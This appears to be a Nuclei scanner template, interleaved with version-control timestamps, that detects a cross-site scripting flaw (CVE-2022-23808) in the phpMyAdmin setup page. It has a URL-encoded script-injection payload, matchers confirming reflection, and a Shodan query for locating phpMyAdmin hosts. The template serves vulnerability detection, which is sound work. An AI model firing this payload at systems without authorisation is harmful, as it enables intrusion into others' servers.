2022-02-14 11:43:04 +00:00
id : CVE-2022-23808
info :
2022-02-28 21:30:49 +00:00
name : phpMyAdmin < 5.1.2 - Cross-Site Scripting
2022-05-16 18:03:46 +00:00
author : cckuailong,daffainfo
2022-02-14 11:43:04 +00:00
severity : medium
2022-03-08 17:36:49 +00:00
description : An issue was discovered in phpMyAdmin 5.1 before 5.1.2 that could allow an attacker to inject malicious code into aspects of the setup script, which can allow cross-site or HTML injection.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade phpMyAdmin to version 5.1.2 or later to mitigate this vulnerability.
2022-02-14 11:43:04 +00:00
reference :
- https://mp.weixin.qq.com/s/c2kwxwVUn1ym7oqv9Uio_A
- https://github.com/dipakpanchal456/CVE-2022-23808
- https://nvd.nist.gov/vuln/detail/CVE-2022-23808
2022-05-17 09:18:12 +00:00
- https://www.phpmyadmin.net/security/PMASA-2022-2/
2023-07-11 19:49:27 +00:00
- https://infosecwriteups.com/exploit-cve-2022-23808-85041c6e5b97
2022-02-14 11:43:04 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
cve-id : CVE-2022-23808
cwe-id : CWE-79
2023-10-26 18:00:24 +00:00
epss-score : 0.00154
2023-11-21 02:35:29 +00:00
epss-percentile : 0.51711
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:phpmyadmin:phpmyadmin:*:*:*:*:*:*:*:*
2022-05-17 07:06:09 +00:00
metadata :
verified : true
2023-09-06 11:59:08 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : phpmyadmin
product : phpmyadmin
2023-09-06 11:59:08 +00:00
shodan-query : http.component:"phpmyadmin"
2022-03-03 11:39:21 +00:00
tags : cve,cve2022,phpmyadmin,xss
2022-02-14 11:43:04 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-02-14 11:43:04 +00:00
- method : GET
path :
2022-05-17 07:25:00 +00:00
- "{{BaseURL}}/phpmyadmin/setup/index.php?page=servers&mode=test&id=%22%3e%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
- "{{BaseURL}}/setup/index.php?page=servers&mode=test&id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"
2022-02-14 11:43:04 +00:00
2022-03-03 11:39:21 +00:00
stop-at-first-match : true
2023-07-11 19:49:27 +00:00
2022-02-14 11:43:04 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-05-17 07:25:00 +00:00
- "\"></script><script>alert(document.domain)</script>"
2022-05-16 18:03:46 +00:00
- "<h2>Add a new server</h2>"
- "<title>phpMyAdmin setup"
condition : and
2022-02-28 21:30:49 +00:00
2022-05-17 07:06:09 +00:00
- type : word
part : header
words :
- "text/html"
- type : status
status :
- 200
2023-11-21 07:14:20 +00:00
# digest: 4b0a0048304602210084cc3ad59ca52466dab41c17c75ce07da585196dddf0b92e0b8cd73b959b3291022100ea654d4c70864c086ac5b7c877767efae1568de15b36d98484f4177a58e56c86:922c64590222798bb761d5b6d8e72950